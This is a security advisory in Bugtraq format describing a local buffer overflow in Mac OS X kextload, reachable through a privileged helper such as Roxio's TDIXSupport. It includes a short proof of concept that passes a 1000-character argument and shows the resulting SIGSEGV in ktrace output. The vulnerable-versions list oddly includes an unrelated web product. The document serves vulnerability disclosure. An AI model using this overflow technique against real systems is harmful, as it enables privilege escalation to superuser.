Apple Mac OS X KExtLoad Buffer Overflow Weakness

Bugtraq ID:	20034
Class:	Boundary Condition Error
CVE:
Remote:	No
Local:	Yes
Published:	Sep 14 2006 12:00AM
Updated:	Sep 15 2006 07:27PM
Credit:	Adriel T. Desautels is credited with the discovery of this vulnerability.
Vulnerable:	Cosmicperl Directory Pro 10.0.3 Apple Mac OS X Server 10.4.7 Apple Mac OS X Server 10.4.6 Apple Mac OS X Server 10.4.5 Apple Mac OS X Server 10.4.4 Apple Mac OS X Server 10.4.3 Apple Mac OS X Server 10.4.2 Apple Mac OS X Server 10.4.1 Apple Mac OS X Server 10.4 Apple Mac OS X Server 10.3.9 Apple Mac OS X Server 10.3.8 Apple Mac OS X Server 10.3.7 Apple Mac OS X Server 10.3.6 Apple Mac OS X Server 10.3.5 Apple Mac OS X Server 10.3.4 Apple Mac OS X Server 10.3.3 Apple Mac OS X Server 10.3.2 Apple Mac OS X Server 10.3.1 Apple Mac OS X Server 10.3 Apple Mac OS X Server 10.2.8 Apple Mac OS X Server 10.2.7 Apple Mac OS X Server 10.2.6 Apple Mac OS X Server 10.2.5 Apple Mac OS X Server 10.2.4 Apple Mac OS X Server 10.2.3 Apple Mac OS X Server 10.2.2 Apple Mac OS X Server 10.2.1 Apple Mac OS X Server 10.2 Apple Mac OS X Server 10.1.5 Apple Mac OS X Server 10.1.4 Apple Mac OS X Server 10.1.3 Apple Mac OS X Server 10.1.2 Apple Mac OS X Server 10.1.1 Apple Mac OS X Server 10.1 Apple Mac OS X Server 10.0 Apple Mac OS X 10.4.7 Apple Mac OS X 10.4.6 Apple Mac OS X 10.4.5 Apple Mac OS X 10.4.4 Apple Mac OS X 10.4.3 Apple Mac OS X 10.4.2 Apple Mac OS X 10.4.1 Apple Mac OS X 10.4 Apple Mac OS X 10.3.9 Apple Mac OS X 10.3.8 Apple Mac OS X 10.3.7 Apple Mac OS X 10.3.6 Apple Mac OS X 10.3.5 Apple Mac OS X 10.3.4 Apple Mac OS X 10.3.3 Apple Mac OS X 10.3.2 Apple Mac OS X 10.3.1 Apple Mac OS X 10.3 Apple Mac OS X 10.2.8 Apple Mac OS X 10.2.7 Apple Mac OS X 10.2.6 Apple Mac OS X 10.2.5 Apple Mac OS X 10.2.4 Apple Mac OS X 10.2.3 Apple Mac OS X 10.2.2 Apple Mac OS X 10.2.1 Apple Mac OS X 10.2 Apple Mac OS X 10.1.5 Apple Mac OS X 10.1.4 Apple Mac OS X 10.1.3 Apple Mac OS X 10.1.2 Apple Mac OS X 10.1.1 Apple Mac OS X 10.1 Apple Mac OS X 10.1 Apple Mac OS X 10.0.4 Apple Mac OS X 10.0.3 Apple Mac OS X 10.0.2 Apple Mac OS X 10.0.1 Apple Mac OS X 10.0 3 Apple Mac OS X 10.0
Not Vulnerable:

Apple Mac OS X KExtLoad Buffer Overflow Weakness

Apple Mac OS X kextload is prone to a buffer-overflow vulnerability because it fails to sufficiently bounds-check user-supplied data before copying it to a finite-sized memory buffer.

This issue is not exploitable by itself, because kextload is not installed as a setuid-superuser application by default. To exploit this issue, an attacker must use another program running with elevated privileges to directly manipulate the arguments passed to kextload.

An attacker can exploit this issue to execute arbitrary machine code with superuser privileges. A successful exploit may result in the complete compromise of the affect computer.

Apple Mac OS X KExtLoad Buffer Overflow Weakness

Currently we are not aware of any exploits for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]

The following proof of concept is available:

Example kextload buffer-overflow vulnerability affecting TDIXsupport:

netragard-test:$ sudo ktrace -di ./TDIXSupport `perl -e 'print "A" x 1000'`/TDIXController.kext
...
1067 security_authtra CALL sendto(0x7,0xbfffde14,0x36,0,0,0)
1067 security_authtra GIO fd 7 wrote 54 bytes
~ "<37>Jul 8 11:31:58 authexec: executing /sbin/kextload"
1067 security_authtra RET sendto 54/0x36
1067 security_authtra CALL execve(0xbfffec61,0xbfffebb4,0x300af0)
1067 security_authtra NAMI "/sbin/kextload"
...
1067 kextload PSIG SIGSEGV SIG_DFL
1066 TDIXSupport GIO fd 7 read 0 bytes
~ ""
1066 TDIXSupport RET read 0
1066 TDIXSupport CALL close(0x7)
1066 TDIXSupport RET close 0
1066 TDIXSupport CALL exit(0xe00002c0)

Apple Mac OS X KExtLoad Buffer Overflow Weakness

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

Apple Mac OS X KExtLoad Buffer Overflow Weakness

References:

• Apple Computer Corporation Kextload Vulnerability + Roxio Toast Titanium 7 Helpe (Adriel T. Desautels)
  
• Manual Page For kextload (Apple)
  
• Toast Titanium Home Page (Roxio)